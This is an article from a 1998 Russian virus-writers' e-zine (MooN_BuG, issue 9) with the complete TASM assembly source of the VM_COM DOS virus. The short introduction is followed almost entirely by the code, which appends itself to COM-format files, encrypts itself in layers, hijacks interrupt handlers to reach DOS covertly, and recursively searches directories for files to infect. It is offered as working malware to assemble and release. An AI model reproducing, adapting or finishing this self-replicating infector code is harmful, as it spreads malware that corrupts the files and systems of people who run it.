[TulaAnti&ViralClub] PRESENTS ...
MooN_BuG, Issue 9, Dec 1998                                           file 007

                                 Вирус VM_COM
                                              by CrkV

     По  типу  Marina (см. предыдущую статью) был создан вирус VM_COM, который
заражает  файлы только COM-формата (.COM и.EXE), приписывая себя в конец файла
и  модифицируя  начало  файла. Признаком заражения является символ 'V' (56h) в
четвертом  байте  (есть  идея  получать  этот  байт  с  помощью функции XOR из
третьего байта).

=== Cut ===
;вирус VM_COM 1.01
;use tasm vm_com /m2
;tlink vm_com /t

.286

Debug   EQU     0                       ;Для отладки Debug = 1

IF      Debug                           ;обработчик Int 21h
Int21h  EQU     21h
XB      EQU     0                       ;1 байт для XOR в Int 21h
XB2     EQU     0                       ;2 байт -\\-
ELSE
Int21h  EQU     03h
XB      EQU     95h                     ;1 байт для XOR в Int 21h
XB2     EQU     63h                     ;2 байт -\\-
ENDIF

XW      EQU     XB Shl 8 + XB2          ;Слово для XOR в Int 21h


;================================================
;       0123456789 123456789 123456789 123456789 123456789 123456789
;================================================

CSeg    Segment Para 'code'
        Assume  Cs:CSeg,Ds:CSeg,Ss:CSeg,Es:CSeg

        Org     0D4h                    ;располагаем данные в DTA
Sav_SP  dw      ?
Prov_Ip dw      ?                       ;адрес входа в DOS
Prov_Cs dw      ?
RandPar dw      ?

        Org     100h
VM:
;----------------------------------------------
;=========== болванка для запуска =============
;----------------------------------------------

        PushF

IF      Debug
        Sub     Si,Si
ENDIF

        PushA
        Mov     Bp,Sp
        Sub     Si,Si
        Push    Ds Si Si
        Pop     Ds
        Mov     Di,0C0h
        Mov     Cx,8
        Repe    MovSW                   ;Сохраняем 4 обработчика
        Mov     Si,24h*4
        MovSW                           ;Int 24h
        MovSW

IF      Debug
ELSE
        Mov     Ds:[01h*4][2],Cs        ;устанавливаем Seg Int 1
        Mov     Ds:[Int21h*4],Offset New03h;устанавливаем Int 3
        Mov     Ds:[Int21h*4][2],Cs
ENDIF

        Pop     Es Ds
        Mov     Sav_Sp,Bp
        Jmp     RS3

SB      EQU     $ - VM + 100h

;----------------------------------------------
;============== первая часть ==================
;----------------------------------------------

S1      EQU     $

        PushF
        PushA

        Mov     Si,1234h
RandZn  =       Word Ptr $ - 2

        Mov     RandPar,Si
        Mov     Cx,Size2w

@Loop1R:Xor     [Si+1234h],Si
RZ      =       Word Ptr $ - 2          ;RZ=S2-RandZn

        Inc     Si
        Inc     Si
        Loop    @Loop1R

;----------------------------------------------
;============== вторая часть ==================
;----------------------------------------------

S2      EQU     $

        Mov     Bp,Sp
        Mov     Ax,(24h+1)*4
        Sub     Si,Si
        Push    Si Ds Si Si
        Pop     Ds
        Mov     Di,0C0h
        Mov     Cx,8
        Cli
        Repe    MovSW                   ;Сохраняем 4 обработчика
        Mov     Si,24h*4
        MovSW                           ;Int 24h
        MovSW
        Pop     Es Ds Ss                ;Ss:Sp - 0:0010h (Удачи !!!)
        Mov     Sp,Cs
        XChg    Sp,Ax

        Mov     Bx,Offset New24h
Ofs21   =       Word Ptr $ - 2

        Push    Ax                      ;Устанавливаем Int 24h
        Push    Bx
        Sub     Sp,24h*4 - 10h
        Sub     Bx,SmPush1
        Push    Ax                      ;Устанавливаем Int 3
        Push    Bx
        Sub     Sp,4
        Sub     Bx,SmPush2
        Push    Ax                      ;Устанавливаем Int 1
        Push    Bx

        Mov     Sp,Bp
        Mov     Ss,Ax
        Push    300h
        PopF                            ;TF=1
        Mov     Sav_Sp,Bp
;---------------------------------------------
MyRand  Proc
; Cx-нижняя граница,Bx-верхняя граница
; Ax-случайное число
        Push    Bx Cx Dx
        Mov     Ax,Cs:RandPar
        Add     Ax,9248h
        Ror     Ax,3
        Xor     Ax,9248h
        Add     Ax,11h
        Mov     Cs:RandPar,Ax
        And     Ax,7FFFh
        Sub     Bx,Cx
        Inc     Bx
        Sub     Dx,Dx
        IDiv    Bx
        Add     Cx,Dx
        Pop     Dx Ax Bx
        Xchg    Cx,Ax
        Ret
MyRand  EndP
;---------------------------------------------
Int_01:

        Push    Offset RS3
Ofs23   =       Word Ptr $ - 2

        Mov     Di,Offset S3
Ofs24   =       Word Ptr $ - 2

@Shifr: Mov     Dx,Size3w
        Mov     Bx,07FFFh               ;Cx=0 (Repe)
@LoopRs:Call    MyRand
        Xor     [Di],Ax
        Inc     Di
        Inc     Di
        Dec     Dx
        Jnz     @LoopRs                 ;расшифровываем
        Ret

Size2w  EQU     ($ - S2)/2

;----------------------------------------------
;============== третья часть ==================
;----------------------------------------------

S3      EQU     $

;----- обработчик прерывания 01h -----

New01h:

        PushA
        Mov     Bp,Sp
        Push    Ds Es Cs
        Pop     Ds

        Mov     Ax,[Bp+18]              ;Cs адрес следующей команды
        Cmp     Ax,Prov_Cs              ;ищем наименьший сегмент
        Jae     @Exit_01h               ;выше равно
        Push    Ss
        Pop     Es
        Mov     Cx,[Bp+6]               ;устанавливаем равные Sp
        Mov     Ds:[0E6h],Cx
        Mov     Si,0E0h
        Mov     Di,Bp
        Mov     Cx,8                    ;8 регистров
        RepZ    CmpSW
        Or      Cx,Cx
        Jnz     @Exit_01h               ;регистры не совпадают
        Mov     Prov_Cs,Ax
        Mov     Ax,[Bp+16]              ;Ip следующей команды
        Mov     Prov_Ip,Ax
@Exit_01h:
        Pop     Es Ds
        PopA
        IRet

;----- обработчик прерывания 03h -----
SmPush2 EQU     $ - Offset Int_01

New03h:
        Xor     Ax,XW
        Jmp     DWord Ptr Cs:Prov_Ip

;----- обработчик прерывания 24h -----
SmPush1 EQU     $ - Offset New03h

New24h:
        Mov     Al,3
        IRet
;---------------------------------------------

RS3     EQU     $
        Mov     Si,Offset New01h
Ofs31   =       Word Ptr $ - 2          ;Offset New01h

IF      Debug
ELSE
        Mov     Es:[01h*4],Si           ;устанавливаем Int 1
ENDIF

        Add     Si,StrSize
        Mov     Prov_Cs,Cs
        Mov     Ah,19h                  ;получить текущий диск
        Mov     Sp,0F0h
        PushA                           ;Сохраняем все регистры для проверки
        Mov     Sp,Bp
        PushF

IF      Debug
ELSE
        Push    300h                    ;TF,IF = 1
        PopF
ENDIF
        Call    DWord Ptr Es:[21h*4]    ;Int 21h получить текущий диск

        Add     Al,'A'
        Mov     [Si+FileMsk],Al         ;Буква текущего диска

        Call    Rand08h                 ;инициализируем параметр RANDOM
        Test    Al,0000111b
        Jnz     @NotC
        Mov     Byte Ptr [Si+FileMsk],'C'
@NotC:  Mov     RandPar,Ax

        Mov     Bp,KolDir
        Mov     Ax,Cs
        Mov     Es,Ax
        Mov     Di,100h
        Push    Si
        Add     Si,LoadDB
        MovSW
        MovSW
        Pop     Si
        Add     Ax,1000h
        Mov     Es,Ax
        Mov     Di,80h
        Mov     Cx,9
        Repe    MovSB
        Mov     Ds,Ax
        Sub     Bx,Bx
        Call    ScTree
;---------------------------------------------
Rand08h Proc
        Push    Ds
        Push    0
        Pop     Ds
        Mov     Ax,Ds:[46Ch]
        Pop     Ds
        Ret
Rand08h EndP
;---------------------------------------------
Infect  Proc
        Push    Bx Ds Ds Cs
        Pop     Ds Es
        Mov     Bp,Ax                   ;размер файла
        Mov     Si,Offset S1
Ofs32   =       Word Ptr $ - 2          ;Offset S1

        Sub     Di,Di
        Mov     Cx,Savedb/2
        Repe    MovSW                   ;копируем вирус

        Add     Di,5
        Mov     Byte Ptr Es:[Di-1],0E9h ;Jmp
        Sub     Ax,3
        StoSW
        Mov     Al,'V'
        StoSB

        Sub     Si,Savedb - RelTab      ;адрес моей таблицы
        Mov     Cx,KolRel

@ZapRel:LodSW
        Xchg    Di,Ax
        LodSW
        Add     Ax,Bp
        StoSW
        Loop    @ZapRel

        Call    Rand08h
        Mov     RandPar,Ax

        Pop     Ds

        Push    Ax
        Mov     [RandZn - SB],Ax
        Neg     Ax
        Add     Ax,Offset S2 - S1 + 100h
        Add     Ax,Bp
        Mov     [RZ-SB],Ax
        Mov     Di,Offset S3 - SB
        Call    @Shifr                  ;зашифровываем 3 часть
        Pop     Ax

        Mov     Cx,Size2w
        Mov     Si,Offset S2 - S1

@LoopI: Xor     [Si],Ax                 ;зашифровываем 2 часть
        Inc     Ax
        Inc     Ax
        Inc     Si
        Inc     Si
        Loop    @LoopI

        Mov     Ax,5700h Xor XW
        Pop     Bx
        Int     Int21h
        Push    Cx Dx

        Mov     Ah,40h Xor XB
        Mov     Cx,SizeVIR
        Sub     Dx,Dx
        Int     Int21h
        Mov     Ax,4200h Xor XW
        Mov     Si,04h
        Jnc     @NoErr
        Mov     Al,02h Xor XB2
        Sub     Si,Si
@NoErr: Sub     Cx,Cx                   ;Dx=0
        Int     Int21h
        Mov     Ah,40h Xor XB
        Mov     Cx,Si
        Mov     Dx,SizeVir
        Int     Int21h
        Mov     Ax,5701h Xor XW
        Pop     Dx Cx
        Int     Int21h
        Mov     Ah,3Eh Xor XB
        Int     Int21h
Infect  EndP
;---------------------------------------------
@ExitVir:
        Push    Cs
        Pop     Ds
        Mov     Ah,1Ah Xor XB
        Mov     Dx,80h
        Int     Int21h                  ;Восстанавливаем DTA
        Mov     Si,0C0h
        Sub     Di,Di
        Push    Di
        Pop     Es
        Mov     Cx,8
        Repe    MovSW                   ;Восстанавливаем 4 обработчика
        Mov     Di,24h*4
        MovSW                           ;Int 24h
        MovSW
        Push    Cs
        Pop     Es
        Mov     Sp,Sav_Sp
        PopA
        PopF
        Push    Si
        Ret
;---------------------------------------------
ProvFrm Proc
;Проверка внутреннего формата файла
        Push    Ds
        Mov     Ax,3D02h Xor XW
        Int     Int21h
        Jc      @ErrPF1
        Xchg    Bx,Ax
        Mov     Ax,Ds
        Add     Bp,80h
        Shr     Bp,4
        Add     Ax,Bp                   ;получили свободный сегмент
        Mov     Ds,Ax
        Mov     Ah,3Fh Xor XB           ;Прочитали первые 4 байта
        Mov     Cx,4
        Mov     Dx,Savedb
        Mov     Di,Dx
        Int     Int21h
        Jc      @ErrPF
        Sub     Ax,Cx
        Jnz     @ErrPF                  ;маленький файл
        Mov     Ax,[Di]

        Cmp     Ax,1234h                ;признак некоторых вирусов
        Org     $-2                     ;+++ можно опустить
        PushF
        PushA
        Je      @ErrPF

        Cmp     Ax,'MZ'
        Je      @ErrPF
        Cmp     Ax,'ZM'
        Je      @ErrPF
        Mov     Al,[Di+3]

        Cmp     Al,90h                  ;признак некоторых вирусов
        Je      @ErrPF                  ;+++ можно опустить

        Cmp     Al,'V'                  ;признак вируса
        Je      @ErrPF

        Mov     Ax,4202h Xor XW
        Sub     Cx,Cx
        Sub     Dx,Dx
        Int     Int21h
        Or      Dx,Dx
        Jnz     @ErrPF                  ;большой файл
        Cmp     Ax,MaxSize
        Ja      @ErrPF                  ;большой файл
        Jmp     Infect
@ErrPF: Mov     Ah,3Eh Xor XB           ;закрываем файл
        Int     Int21h
@ErrPF1:Pop     Ds
        Ret
ProvFrm EndP
;---------------------------------------------
ProvExe Proc
;проверка на EXEC файл
        PushA
        Push    Es Cs
        Pop     Es
        Mov     Cl,KolFN
        Mov     Di,Offset FN1
Ofs33   =       Word Ptr $ - 2          ;Offset FN1

@LoopF: Push    Cx
        Cmp     Es:[Di],Al              ;сравниваем размер
        Jne     @FileN
        Mov     Cl,Al
        Push    Di Si
        Inc     Di
        Repe    CmpSB                   ;сравниваем имена
        Pop     Si Di
@FileN: Pop     Cx
        Je      @NoExec
        Mov     Bl,Es:[Di]
        Inc     Bx
        Sub     Bh,Bh
        Add     Di,Bx
        Loop    @LoopF
        Mov     Cl,2
        Xchg    Bx,Ax
        Lea     Si,[Si+Bx-5]
        Push    Di Si
        Repe    CmpSW                   ;'.COM'
        Pop     Si Di
        Je      @YExec
        Mov     Cl,4
        Add     Di,Cx
        Repe    CmpSB                   ;'.EXE'
        Jne     @NoExec
@YExec: Call    ProvFrm
@NoExec:Pop     Es
        PopA
        Ret
ProvExe EndP
;---------------------------------------------
ScTree  Proc
;Bx - адрес DTA (0 - корневой каталог)
        Dec     Bp
        Jnz     @Ok
        Or      Bx,Bx
        Jnz     Short @Ex
        Mov     Bp,KolDir
        Sub     Si,Si
@Ok:    Mov     Ah,1Ah Xor XB
        Mov     Dx,Bx
        Int     Int21h
        Or      Bx,Bx
        Jnz     @NRoot1                 ;Не корневой каталог
        Mov     Byte Ptr Ds:[84h],'?'
        Mov     Ah,4Eh Xor XB
        Mov     Dx,81h
        Mov     Cl,10h
        Int     Int21h
        Jnc     @OkRoot
@Ex:    Jmp     @ExitVir
@OkRoot:Mov     Bx,'Z'
        Mov     Cx,'A'
        Call    MyRand
        Or      Si,Si
        Jnz     @NAny
        Mov     Al,'?'
@NAny:  Mov     Ds:[84h],Al
        Sub     Bx,Bx
@NRoot1:Lea     Si,[Bx+80h]             ;Ds:Si - полное имя (Pascal String+00h)
        Lea     Di,[Si+100h]
        Mov     Cl,[Si]
        Inc     Cx                      ;размер строки
        Repe    MovSB
        Mov     Ah,4Eh Xor XB
        Mov     Dx,Bx
        Add     Dx,81h
        Mov     Cl,10h
        Int     Int21h                  ;ищем первый файл
        Jnc     @OkFile
        Or      Bx,Bx
        Jz      Sctree
        Jmp     Short @NRoot2
@OkFile:Lea     Si,[Bx+1Eh]             ;найденное имя
@NwFind:Cmp     Byte Ptr [Si],2Eh       ;директории '.' и '..'
        Je      @NtFind
        Push    Di
        Push    Si
        Sub     Ax,Ax
@GetNm: Mov     Ah,[Si]
        MovSB
        Inc     Ax
        Or      Ah,Ah
        Jnz     @GetNm
        Pop     Si
        Pop     Di
        Push    Ax
        Mov     Ax,4300h Xor XW
        Lea     Dx,[Bx+181h]
        Int     Int21h
        Pop     Ax
        Test    Cl,10h
        Jne     @DIR
        Call    ProvExe
@NtFind:Mov     Ah,4Fh Xor XB
        Mov     Cl,10h
        Int     Int21h
        Jnc     @NwFind
@NoFile:Or      Bx,Bx
        Jz      @Ex                     ;поиск закончен
@NRoot2:Mov     Ax,100h
        Sub     Bx,Ax
        Sub     Si,Ax
        Mov     Ah,1Ah Xor XB
        Mov     Dx,Bx
        Int     Int21h
        Mov     Al,[Bx+80h]
        Lea     Di,[Bx+180h]
        StoSB
        Sub     Ah,Ah
        Add     Di,Ax
        Ret
@DIR:   Mov     Di,Dx
        Dec     Di
        Add     [Di],Al
        Mov     Al,[Di]
        Add     Di,Ax
        Mov     Ax,2A5Ch                ;'\*.*',00h
        StoSW
        Mov     Al,'.'
        StoSW
        Mov     Al,00h
        StoSB
        Add     Bx,100h
        Call    ScTree
        Jmp     Short @NtFind
ScTree  EndP
;---------------------------------------------
;Таблица перемещаемых элементов
KolRel  EQU     (EndTab - RelTab)/4
RelTab  EQU     $ - S1
R21     dw      Ofs21 - S1
        dw      Offset New24h - S1 + 100h
R23     dw      Ofs23 - S1
        dw      RS3 - S1 + 100h
R24     dw      Ofs24 - S1
        dw      S3 - S1 + 100h
R31     dw      Ofs31 - S1
        dw      Offset New01h - S1 + 100h
R32     dw      Ofs32 - S1
        dw      100h
R33     dw      Ofs33 - S1
        dw      Offset FN1 - S1 + 100h
EndTab  EQU     $ - S1
;---------------------------------------------

StrSize EQU     $ - Offset New01h
db3     db      3

FileMsk EQU     $ - db3
        db      '?:\?*.*',00h

KolFN   EQU     2                       ;количество незаражаемых файлов
FN1     db      0Ch,'COMMAND.COM',00h
FN2     db      08h,'WIN.COM',00h
FileCom db      '.COM'
FileExe db      '.EXE'
        Align   2
;---------------------------------------------
Savedb  EQU     $ - S1
Loaddb  EQU     $ - db3
        db      0C3h,3 Dup (?)          ;сюда пишем начало файла

;---------------------------------------------
Size3w  EQU     ($ - S3)/2
KolDIR  EQU     8                       ;кол. сканируемых вложенных поддиректорий
SizeVIR EQU     $ - S1                  ;размер вируса
MaxSize EQU     0FC00h-SizeVIR          ;максимальный размер заражаемого файла
;---------------------------------------------
@EndVM:
CSeg    EndS
        End     VM
=== Cut ===